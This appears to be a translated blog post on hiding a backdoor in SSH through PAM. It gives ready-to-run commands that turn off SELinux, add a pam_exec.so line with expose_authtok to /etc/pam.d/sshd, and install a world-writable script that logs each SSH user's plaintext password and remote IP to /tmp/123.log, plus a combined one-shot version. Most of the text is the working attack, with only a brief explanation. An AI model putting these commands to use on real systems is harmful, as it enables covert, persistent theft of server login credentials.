Container Security: Hiding a Backdoor in an SSH .so File

1. The host temporarily shuts down selinux.
setenforce 0

The following operations are performed in the container

2.touch /etc/pam.d/sshd
awk 'BEGIN { print "auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh" } { print }' /etc/pam.d/sshd > /tmp/sshd.tmp && sudo mv /tmp/sshd.tmp /etc/pam.d/sshd

3. echo -e '#!/bin/sh\n\necho "$(date) $PAM_USER $(cat -) $PAM_RHOST $PAM_RUSER" >> /tmp/123.log' | sudo tee /tmp/sshd.sh > /dev/null

4.chmod 777 /tmp/sshd.sh
5.ssh -o StrictHostKeyChecking=no root@$HOSTNAME
6.cat /tmp/123.log

total:

sh -c '
touch /etc/pam.d/sshd && \
echo "auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh" > /etc/pam.d/sshd && \
echo -e "#!/bin/sh\n\necho \"\$(date) \$PAM_USER \$(cat -) \$PAM_RHOST \$PAM_RUSER\" >> /tmp/123.log" > /tmp/sshd.sh && \
chmod 777 /tmp/sshd.sh
'

The effect is as follows:
There will be relevant IP and ssh accounts and passwords in /tmp/123.log

The principle is as follows:

Execution process：

• When a user attempts to log in via SSH, PAM will follow/etc/pam.d/sshdThe configuration in calls each module in turn.

• becausepam_exec.soThe module is configured on the first line, it will be called first and executed/tmp/sshd.shscript.

• pam_exec.soThe module will pass the password entered by the user through standard input to/tmp/sshd.shscript.

• sshd.shThe script reads the password from standard input and logs the relevant information to/tmp/123.login the file.

What needs to be paid attention to is

• pam_exec.soHow does a module pass a user-entered password via standard input to/tmp/sshd.shscript.

pam_exec.soModularexpose_authtokOption allows passing the user's authentication token (i.e. password) to an external script via standard input (stdin). Here are the detailed steps:

In addition to passing the password via standard input,pam_exec.soThe module also sets some environment variables, which contain information about the current authentication session, such asPAM_USER、PAM_RHOST、PAM_RUSERwait. External scripts can obtain this information from environment variables.

The principle is quite simple and there is no need to explore further.

This time the foreigners are later than us:The duality of pluggable authentication modules |Group-IB Blog